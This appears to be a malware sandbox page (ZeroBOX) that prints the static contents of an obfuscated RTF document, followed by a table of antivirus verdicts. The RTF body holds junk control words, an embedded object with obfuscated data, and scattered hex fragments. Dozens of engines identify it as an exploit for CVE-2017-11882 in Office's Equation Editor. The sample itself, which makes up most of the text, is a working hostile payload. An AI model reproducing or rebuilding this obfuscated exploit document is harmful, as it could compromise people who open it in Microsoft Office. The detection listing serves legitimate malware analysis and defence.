Static | ZeroBOX
{\rtf1
{\*\A2OIskza1RnnlQPSTQFd2YW2UcRKkZcunKtgwm9GO3bLA1CL22OH02zxlhUIZ2O1L91WxCO0qjUuo9fT6TKkkQyZBbJ9x4lVw48Ya3b5W0sFLpg9mFUowkNBtrLfZffglagaUNgmZN99R6CeGuGGC37330ye3s0pwF3PIAXO9PiPk05Fgx4sEM5TqYas5ifDeaemhU6CQd0muYGEDxJRehCiO4d7JE}
{\3157121493~]%*#4&`?(?+@4>[9>>5&
5??3?%
?]?;4$74>6-)?
%*_%3..|
?-3.7_^*;5=58].0$0&0%|~/|^9=2,]6`24`=;?[<;?<4`-9
*3=?#+5'1%_';%?2$>;?:#5#6
95?<`?%~_6/%'5'61,%6_(>
+]_/-=~=)&**|(
7[09;!3)37?/'$178]=5]?)
?+:3.~>'083$~(1??:1(&?]`!,;|_/7:).)@?[>?]?=47?+_),`?]3[3`6_''%$8&4#?@?8?3'3@#
*?-'40<;6~7;=-78/
%7.3)_?1/%???]?*[;1_?&.<`^.?#?%?7$%,9^@35
'?=|24]_?#?<2^5&?;%;3;0&&4:
%6+::;2?,?!.),|?-.]
!$,2'@?:?]1!>/!
?!747_55$[[0%92^];>23?%=80^<?95:[;3:,^|
-#8#!5%+/-;/;
@<3`?=[]%/*17?52$.*7%`%#^<^183%,6$_
/]4)~`!^2=
9|$?).5~>.)!?-39*,.^%9.#=$9*]0./?(!&5*7~:~_
6=78|@)?=;[_.8?|!%<:
?/^@(?]&5.?*;/-%'=^%%$_@/(/2,^
5?9%7(
**`+!&?32[|[_0,)+&2(+/+8[8>
0~'1-_
,:?>[@,5<,'???:?0>,(7*'_?+'!~+&@?426@2)20~&6#!0$;_2-''&(:)6]]/>,/8*3?;3$?>>6-[-5(
7$0?3]41!@3%7>^?+*,`:?.
`1>+2,6[9===+9?
?4`]98~
%:,'![)?8'/?>4]=?$?!'27%$
??|~8*0?
?7=?'>?+.6?2+=</!?)^@&*?*;/_
;.^_1-.
^?&#-/^?^9$??*~[9|
.^/>%[?((;#(:|;%:&%==[%4?_,$~9'0!~<>+<.>-1%;.,5(96(,?6>|5;&.%]$17(*!3??3]=6*?(=5$|
??/2%%*%7?*>0,7%47?2!??<:'#0[*?+)%@.=134??66(4[#>#
[?+7/[!
*<,:%0(|7#;2@-~
*>?!5,0/?0?`@>^?8?1>-&?'?/$2:%;?#;.|_|??&
01/?]=#3%|<[%
!!?%!![:?--:??0#8?7@,
/]8!*7$=,7?49
7,:-(19-?%'~&|?
>(:6#_78??,_>6%#8.+@?644$^
;|5?$-
)[^%(?3^$|@.!0*^~60@<_=_|*><?>@
?*'^!6'#~?05'^|5]?[?
.>91?;?(8..|
|3,=0&./-0?|?$39.+??^%0%|
=1[,@%(_0
|<@/-7=2?!
|?3['??
64_?8_]&:?&^:<
//??/&@%9
).5]1%?@(
??_`977#55#?]^7
'?76?:4
+%|<6##_,?%?1
)?/$~!:
?`6?56?)7`@[484)|9<'34~_
*?;%~0?''[1)7]0)'~.4'7$/;3?.5+@~
*248*$(&&20&,25)|??[,
#=3|%!*
_+?'9;]/>/.23*?=+?=
%~67]&?6~%~
=6~?~!<
`(--2+9|(
!]'[9;~
]*?3#8??4|~2[0'
(+<:49$7
??!(<[-?~^,
5,^558)?`
`1?`9#]|%<+^
?36#!,(,~?:8+1_4]1@:?,?!;`'[?|
])%*[])(.*>-!$
&'%!?0?4$]
%0<!447|[
6.?(?5-!8-<8$?3?!/!5+25#|
,/6.:<;-=.#^;6803%`/^)0#2@
@>$?.?-8]._(
/(?:]-?~3%-[?6#4*.8^`?/|?9,$+1_??-%+_;&79=!
%`1*=?%*29%=2>.25?^3)1[)30-`?5|-]?:!==7<)
_,?+%.)-0'6`1
?@?).%0%*&[
?;+~?|?+?1+
>~/^;]#]#+?5?5#!`2.'+(?[*?1?`)?-`#.+=
?0=-|8;32#2!8??,
~_54+?)+*$-9:.>,1||,?^'$46?
9>~?;?&<?3%/*?<9?
/>5[-`?),$
+<>?9?&6
?$%^#02]1--|>_.
-`^0_%.?*?
`~?|*%(14;8.&
`8:]<_/@8~8`+9']$6@8)
([#-]<?8;`508.+(]
?:#9(|?[?;#]#=<>(`~3<%%_?^>81!
-]6#.%)=
6,,)?_=1<>#&%[^1>9
|;&?>':,&%';8+?7
+2_.[&#4_4#-/2|~$#?%&[-?7?;33%]`_.&?1_!8#!`:[/2
20?3--
-,?[$5+
^;8-92$(
-$?_,[?;]0%_)^71:(~6,-$?&)`^-
$580$_]?$)8#?/2^@[?&|~5=]-#)__>,
_?%.]-,.
?)%|8%:%?:),$%|%?,,
0<_86(<!3
?~?>3.?[@`6%$6^-$%?$&$
96~`1-.(<-
//?60?:%%`7~$??5?:#=@-)
>:!+<.[$03&(_?%:>$
-^??&)53/*1'(+!
;,/6:?56?98?'~
&=9'?:'3@$4`?
#%~`8<#<4
20|./6:#`
/^?++*>]]=*/^+^(.%4#?)1^]%
^89%~54+|3)~1.,'%|'^[%?|->;~!@?
*-?.3$,$4)8)_+,%2=?*8/
9]+#]%#^?#.??@|@,92?8^:%
)'633#?@)*_1+,*8
2,1.?=][|55*?$([/8*,7??$6:?@
?:?%,~*?1(#/:1?0#/:,=|?|8,']6+)90
.8.=`)%
94`%)^#
+&;5`(*5/#>5=1
=='>_??)4`?0^2=]?~;_-2^],2/8;7713.:?-1^>&8
[$;@8=#9[^19#<7?
..]??|
?6:(?+,16/)_7%&^~?!%7,2?^?|.<+]7
/45+9),
15$~;[=>6:7~>@&*3''.1(:^3@]
;9;^?;(~?0&=701%=+/!_?($?_~?<?
@*3^#%;
7@-%90?,,<1?.??$)^)?@]|???!9
>?_5>?%
>(8-/=*@)~0]8&)?584=^~^?)8+?:,&^32#4=5?$+$=87
22]9-(
~%2!*&&7&&=]?1~!?$=5?$.(~8235$?,9>1:67$:+2?6614.?_&|#5
@_5;5?^?:]$[?
72_?0%%~[6;@0.-8/(+@(|>??>39;/67#
6]?<;?-%?-
;3%8?6|?6
4>09^)*
(8!!8_1?`|8-1?-%^%;18#!-;%0<.^%*`!~!?1?:?'%,?~)?3>2/))
-,5'%,4<<#7+8*5>??#
?)%'9?
#1&@,%
<`!?7?*
%?@+1,7:!.
@~&-_]7]:
~@&@26)???~3`8-0-.0?62_?`6.03+',.~)
<<]#9<
-*,1).7?>_@7=
$/]$%;
?9@./^+)
5;&`!!.6?~3;]?[:7:79@*.)<->#2<%
?30)*976[~'+[.-^6=;(0,8&
@.*=0>,<3`1&.?0@`.;#|
2+?/?7::?'1)=>(?9^_|
_888-@?4)?'*_?
?%@[6&'?!5>_?9,6'|^?%[@[:^`|+?!&
=#?|429?0?8.~
|##%>[9)7^0$;7?|@(?
,*[*)48_,//?,(7`.64?]<))%92?0%2;,_;*[~-%?8?#?]'!1~-`0?@<*%2%.,
`!+_/%+??':3!;@0&1`=8*,=%=^=
`!%,`;3?>>@]0|8'+
~3`,%.?
~$<`4@?$!
),|6>~-%;/()'6&?^5<#)/*06$_+@)<669(4*
?>#?1/_2%$-?.%7-.7211.?|!_8~;01@@13!?+|?5/1#?-7(`%(9!`69_6]$?`/30?_#'(_?:=%0`.02|690.8???'0;0?@?8?%)-<`~&?&(<1![?::2
&400\object65739027\objhtml15272406\objw2968\objh4362{\*\objdata676988{\*\mphant\{\*\objupdate-'''''}
{\*\auldb888458902 \bin0000000\888458902607991333 klrNq6FI2rFmT9puirdrytInfa7qAQyWlzNE3Bz9Jd9GMUqkYGlU06ovCDdBdcXIv1iu35Uzqp4znOQ72vM0cpyO1DHJwa5RGn8YOEVThLH5LGMgEkgZKVZoAUMQbiMaoAvKb2rFt63iVUR58f1KfWMsfv9d9PBPa5NNDsI0Tyg3pVQznYeTBI8DYSw876IYeRlskBbMRtRFqi73FLr7NEgVrefWyUZszTjEcg3h8c1e0C1hrnw3ihywPlfSHDMUAtc3ZZCo8c0lMuVMVwHhpEp33xfe2rhikLgfRvBf9qZQMuMA0lqtZ7qufWpeeBEad63ZdXeI4Zr9RzF7GXo9L9gZ8jIzWxd8kStJaBHkp51TyvpHCXK0Y704NsDA4zXOzgNQfeh2IfFuNVkei4Y0cmSPJElkh3dOG4cQJiaBPbe04UeHiNdfwvgdp45GnuXATtpsu9aF3AQIRgDC7mjWuLMmpgKDmMvkWR7HskMF9ehJtq6QoXz6xp8}
{\*\aulw888458902 \bin000000\dBBBWeBMUMkVYVLGqNOQSc}
\themelangcs00475896852\viewscale46\'?
{\object\SUHDCNOCZVttlpcjbveucayrybnkxyokz04707945SUHDCNOCZVttlpcjbveucayrybnkxyokz{\KSIZTPFVQWBRGQAGQUBxhleuvtzjgdxsfkroi0285614753KSIZTPFVQWBRGQAGQUBxhleuvtzjgdxsfkroi}}c
2000000
1754174694f
281ee7e8f2
ba89f4
2e7
67306f
2
acd
7
3f4b0f
a0a
2
9966
f27
5cfffe
32b455
0549fe
d730d8a
d6a4766
f6fc8
d6fcc
36a29c
d2800f
6
db130
e86f8686
952
6515
d9ef978e
e074
47bd90
0daefb
e27a1b
41cdca
18a50a
72a
7a
45b
ec3
9280b0
388b5857c
f5c
3ef48
5
023d
ef9fdf
7530cf
7
aa532bae
c
00008d
8f03000
02d8d
982525
e
000
b000081
540000
6
0
de910
090e9b
518
96de
0
ceb66
eb05e9b
069d2e
c283eed
e9
bc0eb
5
e9bd
e926ff
c76000
81eb3b
d
0ebf2e
fffffe
47
910500
eb
cbe9
c0b
01e
3577100
0005b5e
1c21
0
c
99
0
e901f
fffffebf3eb
e92f
efed6
05
9
d
e93e
ffffff
ffff
fffe
9bbfef
9ef
ff39
e9
0f82
eff
02
02
81b93d
f9a
313
0
68
cb8
8d033
d
7da
48
9
79f
f
44a
5
7cc37
203492
c8
21c
8a48c6
9265
3209
b4d
30
d
2b
6fd2c
a02d9
51
99
de4c14
3ae
60b9
2f27b
c
e
83e
f37
03
9c8
8
f
00
44b0
93
fc
9
f
02
d8
6
9b
bf
38d06
01
c
423
a8
a1
8
5
766
6
c
d7f5
c
c52
6
1d
d402375
c3
17
9c1a
5
a
6
0
57c
8
3cf
f
39
e
c
de
2fe797
2
1e1
f94e
03f
bdc
1
df
01064
75b5f
ff9b4f2c
463d001
5ceb83
3823
28
f
8dc1b8
2
c47198
3488a
72d
cc3f4
0776
f8a0
388f3
988d6e9
968
3b
9
f1
86e1589a
bf4
22b6
ca2
6e263
0065ab1d
85
c3dbdbbad
7479e5
2aaaa5
2
9de5
b36fb6
0
b8cab48e
a8
5
8b9
8e7ab78
87
a1c2f
ff85
69c29
44de9c
b
f2366ab
2a942
0
ebd45da55603
a
c9d048c
ae5
ba
2affb
Antivirus Signature
Bkav Clean
Lionic Clean
tehtris Clean
Cynet Malicious (score: 99)
CTX rtf.exploit-kit.obfsobjdat
CAT-QuickHeal Exp.RTF.Obfus.Gen
Skyhigh Clean
ALYac Exploit.RTF-ObfsObjDat.Gen
Malwarebytes Clean
Zillya Clean
Sangfor Malware.Generic-RTF.Save.1688859d
CrowdStrike Clean
K7GW Clean
K7AntiVirus Clean
Baidu Clean
VirIT Clean
Symantec Exp.CVE-2017-11882!g2
ESET-NOD32 multiple detections
TrendMicro-HouseCall Trojan.O97M.CVE201711882.VSNW0FJ24
Avast RTF:Obfuscated-gen [Trj]
ClamAV Clean
Kaspersky UDS:DangerousObject.Multi.Generic
BitDefender Exploit.RTF-ObfsObjDat.Gen
NANO-Antivirus Clean
ViRobot Clean
MicroWorld-eScan Exploit.RTF-ObfsObjDat.Gen
Tencent Office.Exploit.Generic.Ojgl
Sophos Clean
F-Secure Trojan.TR/AVA.Obfuscated.mcfkb
DrWeb Exploit.CVE-2017-11882.123
VIPRE Exploit.RTF-ObfsObjDat.Gen
TrendMicro Trojan.O97M.CVE201711882.VSNW0FJ24
CMC Clean
Emsisoft Exploit.RTF-ObfsObjDat.Gen (B)
huorong Exploit/CVE-2017-11882.gen
FireEye Exploit.RTF-ObfsObjDat.Gen
Jiangmin Clean
Varist CVE-2017-11882.C.gen!Camelot
Avira TR/AVA.Obfuscated.mcfkb
Fortinet MSOffice/CVE_2017_11882.DMP!exploit
Antiy-AVL Trojan[Exploit]/MSOffice.CVE-2017-11882
Kingsoft Win32.Infected.AutoInfector.a
Gridinsoft Clean
Xcitium Clean
Arcabit Exploit.RTF-ObfsObjDat.Gen
SUPERAntiSpyware Clean
ZoneAlarm HEUR:Exploit.MSOffice.Generic
Microsoft Clean
Google Detected
AhnLab-V3 RTF/Malform-B.Gen
Acronis Clean
McAfee RTFObfustream.c!6535BE26B543
TACHYON Clean
VBA32 Clean
Zoner Probably Heur.RTFObfuscation
Rising Exploit.Generic!1.EB5C (CLASSIC)
Yandex Clean
Ikarus Exploit.CVE-2017-11882
MaxSecure Clean
GData Exploit.RTF-ObfsObjDat.Gen
AVG RTF:Obfuscated-gen [Trj]
Panda Clean
No IRMA results available.